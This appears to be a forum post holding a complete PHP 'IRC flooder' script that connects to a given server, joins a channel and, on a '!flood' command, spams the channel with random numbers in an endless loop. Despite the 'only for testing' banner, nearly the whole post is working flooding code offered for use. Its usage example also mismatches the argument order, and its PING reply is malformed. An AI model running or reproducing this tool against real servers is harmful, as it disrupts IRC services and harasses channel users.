Код:
<?
##################################
# ############################ #
# ## SImple irc flooder ## #
# #### Coded by FoST. #### #
# ## Only for testing.. ## #
# ############################ #
##################################
###########################################################
####### FUNCTIONS #######
###########################################################
function socket_create_connect($server,$srvport){
//creating socket
//_______________
if(!$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
die("Error creating socket!\r\n");
//connecting to socket...
//_______________
if(!$result=socket_connect($sock,$server,$srvport))
die("Error socket connecting!\r\n");
return $sock;
}
function irc_connect($socket_,$nick_,$name_,$ident_,$channel_){
$str="NICK ".$nick_."\r\n";
socket_write($socket_,$str,strlen($str));
echo "-------> ".$str;
$str="USER ".$ident_." 8 * : ".$name_."\r\n";
socket_write($socket_,$str,strlen($str));
echo "-------> ".$str;
$str="JOIN ".$channel_." \r\n";
socket_write($socket_,$str,strlen($str));
echo "-------> ".$str;
$str="PRIVMSG ".$channel_." : Hello all!!! =)\r\n";
socket_write($socket_,$str,strlen($str));
echo "-------> ".$str;
}
function flood($socket_,$channel_){
while(true){
$flood_str="PRIVMSG ".$channel_." : ".(rand(-65536,65536)+rand(-65536,65536))."\r\n";
socket_write($socket_,$flood_str,strlen($flood_str));
sleep(2);
}
}
###########################################################
####### MAIN CODE #######
###########################################################
if ($argv[4]){
$server= $argv[1]; #server adress
$port= $argv[2]; #server port
$channel= $argv[3]; #irc channel
$nick= $argv[4]; #nick
$ident="noname"; #ident
$name="noname"; #bot name (during whois)
$flooding=false;
} else
die("\r\n".
"Usage:\r\n".
"server port #channel Your_nick\r\n".
"Example: irc.somehost.ru #MyChannel 6667 NoName\r\n");
//creating socket, connecting to server and connecting to irc...
//______________
$socket=socket_create_connect($server,$port);
irc_connect($socket,$nick,$name,$ident,$channel);
while ($body = socket_read($socket,128)) {
echo convert_cyr_string($body,"w","a");
if (preg_match("/^PING(.*)$/i",$body,$matches)) {
$PONG="PONG $1\r\n";
echo $PONG;
socket_write($socket,$PONG,strlen($PONG));
}
#quit bot
if (preg_match("/[^.]!quit/",$body,$matches)){
socket_write($socket,"QUIT\r\n",strlen("QUIT\r\n"));
}
#start flooding
if (preg_match("/[^.]!flood/",$body,$matches)){
$flooding=true;
}
#stop flooding
if (preg_match("/[^.]!stopflood/",$body,$matches)){
$flooding=false;
}
if ($flooding){
flood($socket,$channel);
}
}
?>